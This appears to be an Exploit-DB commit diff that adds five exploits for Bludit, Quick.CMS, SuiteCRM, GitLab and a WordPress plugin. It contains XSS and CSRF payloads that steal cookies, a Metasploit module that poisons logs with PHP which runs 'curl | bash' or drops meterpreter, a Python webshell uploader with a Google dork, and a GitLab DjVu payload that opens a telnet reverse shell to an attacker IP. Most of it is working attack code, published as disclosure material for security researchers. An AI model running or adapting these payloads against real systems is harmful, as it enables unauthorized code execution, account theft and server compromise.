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DB: 2021-11-18

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5 changes to exploits/shellcodes

Bludit 3.13.1 - 'username' Cross Site Scripting (XSS)
Quick.CMS 6.7 - Cross Site Request Forgery (CSRF) to Cross Site Scripting (XSS) (Authenticated)
SuiteCRM 7.11.18 - Remote Code Execution (RCE) (Authenticated) (Metasploit)
GitLab 13.10.2 - Remote Code Execution (RCE) (Unauthenticated)
Wordpress Plugin Smart Product Review 1.0.4 - Arbitrary File Upload
This commit is contained in:
Offensive Security 2021-11-18 05:02:10 +00:00
parent 11900b8459
commit a4598bc3c4
6 changed files with 515 additions and 0 deletions
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14
exploits/php/webapps/50529.txt Normal file
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# Exploit Title: Bludit 3.13.1 - 'username' Cross Site Scripting (XSS)
# Date: 19/10/2021
# Exploit Author: Vasu (tamilan_mkv)
# Vendor Homepage: https://www.bludit.com
# Software Link: https://www.bludit.com/releases/bludit-3-13-1.zip
# Version: bludit-3-13-1
# Tested on: kali linux
# CVE : CVE-2021-35323
### Steps to reproduce
1. Open login page http://localhost:800/admin/login;
2. Enter the username place ``admin"><img src=x onerror=alert(1)>``and enter the password
3. Trigger the malicious javascript code

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exploits/php/webapps/50530.txt Normal file
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# Exploit Title: Quick.CMS 6.7 - Cross Site request forgery (CSRF) to Cross-site Scripting (XSS) (Authenticated)
# Date: 21/04/2021
# Exploit Author: Rahad Chowdhury
# Vendor Homepage: https://opensolution.org/
# Software Link: https://opensolution.org/download/home.html?sFile=Quick.Cms_v6.7-en.zip
# Version: 6.7
# Tested on: Windows 8.1, Kali Linux, Burp Suite
Steps to Reproduce:
1. At first login to your panel
2. then click the "Sliders" menu to "New Slider"
3. now intercept with the burp suite and save a new slider
4. Then use XSS payload </textarea><script>alert(document.domain)</script> in sDescription value.
5. Now Generate a CSRF POC
<!DOCTYPE html>
<html>
<body>
<form action="http://127.0.0.1/admin.php?p=sliders-form" method="POST">
<input type="hidden" name="iSlider" value="">
<input type="hidden" name="aFile" filename="">
<input type="hidden" name="sFileNameOnServer" value="slider_2.jpg">
<input type="hidden" name="sDescription"
value="test</textarea><script>alert(document.cookie)</script>">
<input type="hidden" name="iPosition" value="1">
<input type="hidden" name="sOption" value="save">
<input type="submit" value="submit">
</form>
</body>
</html>

343
exploits/php/webapps/50531.rb Executable file
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SuiteCRM Log File Remote Code Execution',
'Description' => %q{
This module exploits an input validation error on the log file extension parameter. It does
not properly validate upper/lower case characters. Once this occurs, the application log file
will be treated as a php file. The log file can then be populated with php code by changing the
username of a valid user, as this info is logged. The php code in the file can then be executed
by sending an HTTP request to the log file. A similar issue was reported by the same researcher
where a blank file extension could be supplied and the extension could be provided in the file
name. This exploit will work on those versions as well, and those references are included.
},
'License' => MSF_LICENSE,
'Author' => [
'M. Cory Billington' # @_th3y
],
'References' => [
['CVE', '2021-42840'],
['CVE', '2020-28328'], # First CVE
['EDB', '49001'], # Previous exploit, this module will cover those versions too. Almost identical issue.
['URL', 'https://theyhack.me/CVE-2020-28320-SuiteCRM-RCE/'], # First exploit
['URL', 'https://theyhack.me/SuiteCRM-RCE-2/'] # This exploit
],
'Platform' => %w[linux unix],
'Arch' => %w[ARCH_X64 ARCH_CMD ARCH_X86],
'Targets' => [
[
'Linux (x64)', {
'Arch' => ARCH_X64,
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'
}
}
],
[
'Linux (cmd)', {
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
},
'Privileged' => true,
'DisclosureDate' => '2021-04-28',
'DefaultTarget' => 0
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to SuiteCRM', '/']),
OptString.new('USER', [true, 'Username of user with administrative rights', 'admin']),
OptString.new('PASS', [true, 'Password for administrator', 'admin']),
OptBool.new('RESTORECONF', [false, 'Restore the configuration file to default after exploit runs', true]),
OptString.new('WRITABLEDIR', [false, 'Writable directory to stage meterpreter', '/tmp']),
OptString.new('LASTNAME', [false, 'Admin user last name to clean up profile', 'admin'])
]
)
end
def check
authenticate unless @authenticated
return Exploit::CheckCode::Unknown unless @authenticated
version_check_request = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true,
'vars_get' => {
'module' => 'Home',
'action' => 'About'
}
}
)
return Exploit::CheckCode::Unknown("#{peer} - Connection timed out") unless version_check_request
version_match = version_check_request.body[/
Version
\s
\d{1} # Major revision
\.
\d{1,2} # Minor revision
\.
\d{1,2} # Bug fix release
/x]
version = version_match.partition(' ').last
if version.nil? || version.empty?
about_url = "#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Home&action=About"
return Exploit::CheckCode::Unknown("Check #{about_url} to confirm version.")
end
patched_version = Rex::Version.new('7.11.18')
current_version = Rex::Version.new(version)
return Exploit::CheckCode::Appears("SuiteCRM #{version}") if current_version <= patched_version
Exploit::CheckCode::Safe("SuiteCRM #{version}")
end
def authenticate
print_status("Authenticating as #{datastore['USER']}")
initial_req = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'index.php'),
'keep_cookies' => true,
'vars_get' => {
'module' => 'Users',
'action' => 'Login'
}
}
)
return false unless initial_req && initial_req.code == 200
login = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'index.php'),
'keep_cookies' => true,
'vars_post' => {
'module' => 'Users',
'action' => 'Authenticate',
'return_module' => 'Users',
'return_action' => 'Login',
'user_name' => datastore['USER'],
'username_password' => datastore['PASS'],
'Login' => 'Log In'
}
}
)
return false unless login && login.code == 302
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'index.php'),
'keep_cookies' => true,
'vars_get' => {
'module' => 'Administration',
'action' => 'index'
}
}
)
auth_succeeded?(res)
end
def auth_succeeded?(res)
return false unless res
if res.code == 200
print_good("Authenticated as: #{datastore['USER']}")
if res.body.include?('Unauthorized access to administration.')
print_warning("#{datastore['USER']} does not have administrative rights! Exploit will fail.")
@is_admin = false
else
print_good("#{datastore['USER']} has administrative rights.")
@is_admin = true
end
@authenticated = true
return true
else
print_error("Failed to authenticate as: #{datastore['USER']}")
return false
end
end
def post_log_file(data)
send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'index.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'keep_cookies' => true,
'headers' => {
'Referer' => "#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Configurator&action=EditView"
},
'data' => data.to_s
}
)
end
def modify_system_settings_file
filename = rand_text_alphanumeric(8).to_s
extension = '.pHp'
@php_fname = filename + extension
action = 'Modify system settings file'
print_status("Trying - #{action}")
data = Rex::MIME::Message.new
data.add_part('SaveConfig', nil, nil, 'form-data; name="action"')
data.add_part('Configurator', nil, nil, 'form-data; name="module"')
data.add_part(filename.to_s, nil, nil, 'form-data; name="logger_file_name"')
data.add_part(extension.to_s, nil, nil, 'form-data; name="logger_file_ext"')
data.add_part('info', nil, nil, 'form-data; name="logger_level"')
data.add_part('Save', nil, nil, 'form-data; name="save"')
res = post_log_file(data)
check_logfile_request(res, action)
end
def poison_log_file
action = 'Poison log file'
if target.arch.first == 'cmd'
command_injection = "<?php `curl #{@download_url} | bash`; ?>"
else
@meterpreter_fname = "#{datastore['WRITABLEDIR']}/#{rand_text_alphanumeric(8)}"
command_injection = %(
<?php `curl #{@download_url} -o #{@meterpreter_fname};
/bin/chmod 700 #{@meterpreter_fname};
/bin/sh -c #{@meterpreter_fname};`; ?>
)
end
print_status("Trying - #{action}")
data = Rex::MIME::Message.new
data.add_part('Users', nil, nil, 'form-data; name="module"')
data.add_part('1', nil, nil, 'form-data; name="record"')
data.add_part('Save', nil, nil, 'form-data; name="action"')
data.add_part('EditView', nil, nil, 'form-data; name="page"')
data.add_part('DetailView', nil, nil, 'form-data; name="return_action"')
data.add_part(datastore['USER'], nil, nil, 'form-data; name="user_name"')
data.add_part(command_injection, nil, nil, 'form-data; name="last_name"')
res = post_log_file(data)
check_logfile_request(res, action)
end
def restore
action = 'Restore logging to default configuration'
print_status("Trying - #{action}")
data = Rex::MIME::Message.new
data.add_part('SaveConfig', nil, nil, 'form-data; name="action"')
data.add_part('Configurator', nil, nil, 'form-data; name="module"')
data.add_part('suitecrm', nil, nil, 'form-data; name="logger_file_name"')
data.add_part('.log', nil, nil, 'form-data; name="logger_file_ext"')
data.add_part('fatal', nil, nil, 'form-data; name="logger_level"')
data.add_part('Save', nil, nil, 'form-data; name="save"')
post_log_file(data)
data = Rex::MIME::Message.new
data.add_part('Users', nil, nil, 'form-data; name="module"')
data.add_part('1', nil, nil, 'form-data; name="record"')
data.add_part('Save', nil, nil, 'form-data; name="action"')
data.add_part('EditView', nil, nil, 'form-data; name="page"')
data.add_part('DetailView', nil, nil, 'form-data; name="return_action"')
data.add_part(datastore['USER'], nil, nil, 'form-data; name="user_name"')
data.add_part(datastore['LASTNAME'], nil, nil, 'form-data; name="last_name"')
res = post_log_file(data)
print_error("Failed - #{action}") unless res && res.code == 301
print_good("Succeeded - #{action}")
end
def check_logfile_request(res, action)
fail_with(Failure::Unknown, "#{action} - no reply") unless res
unless res.code == 301
print_error("Failed - #{action}")
fail_with(Failure::UnexpectedReply, "Failed - #{action}")
end
print_good("Succeeded - #{action}")
end
def execute_php
print_status("Executing php code in log file: #{@php_fname}")
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri, @php_fname),
'keep_cookies' => true
}
)
fail_with(Failure::NotFound, "#{peer} - Not found: #{@php_fname}") if res && res.code == 404
register_files_for_cleanup(@php_fname)
register_files_for_cleanup(@meterpreter_fname) unless @meterpreter_fname.nil? || @meterpreter_fname.empty?
end
def on_request_uri(cli, _request)
send_response(cli, payload.encoded, { 'Content-Type' => 'text/plain' })
print_good("#{peer} - Payload sent!")
end
def start_http_server
start_service(
{
'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => resource_uri
}
}
)
@download_url = get_uri
end
def exploit
start_http_server
authenticate unless @authenticated
fail_with(Failure::NoAccess, datastore['USER'].to_s) unless @authenticated
fail_with(Failure::NoAccess, "#{datastore['USER']} does not have administrative rights!") unless @is_admin
modify_system_settings_file
poison_log_file
execute_php
ensure
restore if datastore['RESTORECONF']
end
end

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exploits/php/webapps/50533.py Executable file
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# Exploit Title: Wordpress Plugin Smart Product Review 1.0.4 - Arbitrary File Upload
# Google Dork: inurl: /wp-content/plugins/smart-product-review/
# Date: 16/11/2021
# Exploit Author: Keyvan Hardani
# Vendor Homepage: https://demo.codeflist.com/wordpress-plugins/smart-product-review/
# Version: <= 1.0.4
# Tested on: Kali Linux
import os.path
from os import path
import json
import requests;
import time
import sys
def banner():
animation = "|/-\\"
for i in range(20):
time.sleep(0.1)
sys.stdout.write("\r" + animation[i % len(animation)])
sys.stdout.flush()
#do something
print("Smart Product Review 1.0.4 - Arbitrary File Upload")
print("Author: Keyvan Hardani (www.github.com/Keyvanhardani)")
def usage():
print("Usage: python3 exploit.py [target url] [your shell]")
print("Ex: python3 exploit.py https://example.com ./shell.(php4/phtml)")
def vuln_check(uri):
response = requests.get(uri)
raw = response.text
if ("No script kiddies please!!" in raw):
return False;
else:
return True;
def main():
banner()
if(len(sys.argv) != 3):
usage();
sys.exit(1);
base = sys.argv[1]
file_path = sys.argv[2]
ajax_action = 'sprw_file_upload_action'
admin = '/wp-admin/admin-ajax.php';
uri = base + admin + '?action=' + ajax_action ;
check = vuln_check(uri);
if(check == False):
print("(*) Target not vulnerable!");
sys.exit(1)
if( path.isfile(file_path) == False):
print("(*) Invalid file!")
sys.exit(1)
files = {'files[]' : open(file_path)}
data = {
"allowedExtensions[0]" : "jpg",
"allowedExtensions[1]" : "php4",
"allowedExtensions[2]" : "phtml",
"allowedExtensions[3]" : "png",
"qqfile" : "files",
"element_id" : "6837",
"sizeLimit" : "12000000",
"file_uploader_nonce" : "2b102311b7"
}
print("Uploading Shell...");
response = requests.post(uri, files=files, data=data )
file_name = path.basename(file_path)
if("ok" in response.text):
print("Shell Uploaded!")
print("Shell URL on your Review/Comment");
else:
print("Shell Upload Failed")
sys.exit(1)
main();

38
exploits/ruby/webapps/50532.txt Normal file
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# Exploit Title: GitLab 13.10.2 - Remote Code Execution (RCE) (Unauthenticated)
# Shodan Dork: https://www.shodan.io/search?query=title%3A%22GitLab%22+%2B%22Server%3A+nginx%22
# Date: 11/01/2021
# Exploit Author: Jacob Baines
# Vendor Homepage: https://about.gitlab.com/
# Software Link: https://gitlab.com/gitlab-org/gitlab
# Version: GitLab Community Edition and Enterprise Edition before 13.10.3, 13.9.6, and 13.8.8
# Tested on: GitLab Community Edition 13.10.2 and 13.10.1 (Ubuntu)
# CVE : CVE-2021-22205
# Vendor Advisory: https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/
# Root Cause Analysis: https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis?referrer=activityFeed
Code execution is the result of GitLab allowing remote unauthenticated attackers to provide DjVu files to ExifTool (see: CVE-2021-22204). As such, exploitation of GitLab takes two steps. First generating the payload and then sending it.
1. Generating the payload. This generates a DjVu image named lol.jpg that will trigger a reverse shell to 10.0.0.3 port 1270.
echo -e
"QVQmVEZPUk0AAAOvREpWTURJUk0AAAAugQACAAAARgAAAKz//96/mSAhyJFO6wwHH9LaiOhr5kQPLHEC7knTbpW9osMiP0ZPUk0AAABeREpWVUlORk8AAAAKAAgACBgAZAAWAElOQ0wAAAAPc2hhcmVkX2Fubm8uaWZmAEJHNDQAAAARAEoBAgAIAAiK5uGxN9l/KokAQkc0NAAAAAQBD/mfQkc0NAAAAAICCkZPUk0AAAMHREpWSUFOVGEAAAFQKG1ldGFkYXRhCgkoQ29weXJpZ2h0ICJcCiIgLiBxeHs="
| base64 -d > lol.jpg
echo -n 'TF=$(mktemp -u);mkfifo $TF && telnet 10.0.0.3 1270 0<$TF | sh 1>$TF' >> lol.jpg
echo -n
"fSAuIFwKIiBiICIpICkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCg=="
| base64 -d >> lol.jpg
2. Sending the payload. Any random endpoint will do.
curl -v -F 'file=@lol.jpg' http://10.0.0.7/$(openssl rand -hex 8)
2a. Sample Output from the reverse shell:
$ nc -lnvp 1270
Listening on [0.0.0.0] (family 0, port 1270)
Connection from [10.0.0.7] port 1270 [tcp/*] accepted (family 2, sport
34836)
whoami
git
id
uid=998(git) gid=998(git) groups=998(git)

5
files_exploits.csv
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@ -44624,3 +44624,8 @@ id,file,description,date,author,type,platform,port
50525,exploits/php/webapps/50525.txt,"PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site Request Forgery (CSRF)",1970-01-01,"Hosein Vita",webapps,php, 50525,exploits/php/webapps/50525.txt,"PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site Request Forgery (CSRF)",1970-01-01,"Hosein Vita",webapps,php,
50526,exploits/php/webapps/50526.py,"Online Learning System 2.0 - Remote Code Execution (RCE)",1970-01-01,djebbaranon,webapps,php, 50526,exploits/php/webapps/50526.py,"Online Learning System 2.0 - Remote Code Execution (RCE)",1970-01-01,djebbaranon,webapps,php,
50527,exploits/multiple/webapps/50527.txt,"CMDBuild 3.3.2 - 'Multiple' Cross Site Scripting (XSS)",1970-01-01,"Hosein Vita",webapps,multiple, 50527,exploits/multiple/webapps/50527.txt,"CMDBuild 3.3.2 - 'Multiple' Cross Site Scripting (XSS)",1970-01-01,"Hosein Vita",webapps,multiple,
50529,exploits/php/webapps/50529.txt,"Bludit 3.13.1 - 'username' Cross Site Scripting (XSS)",1970-01-01,Vasu,webapps,php,
50530,exploits/php/webapps/50530.txt,"Quick.CMS 6.7 - Cross Site Request Forgery (CSRF) to Cross Site Scripting (XSS) (Authenticated)",1970-01-01,"Rahad Chowdhury",webapps,php,
50531,exploits/php/webapps/50531.rb,"SuiteCRM 7.11.18 - Remote Code Execution (RCE) (Authenticated) (Metasploit)",1970-01-01,"M. Cory Billington",webapps,php,
50532,exploits/ruby/webapps/50532.txt,"GitLab 13.10.2 - Remote Code Execution (RCE) (Unauthenticated)",1970-01-01,"Jacob Baines",webapps,ruby,
50533,exploits/php/webapps/50533.py,"Wordpress Plugin Smart Product Review 1.0.4 - Arbitrary File Upload",1970-01-01,"Keyvan Hardani",webapps,php,

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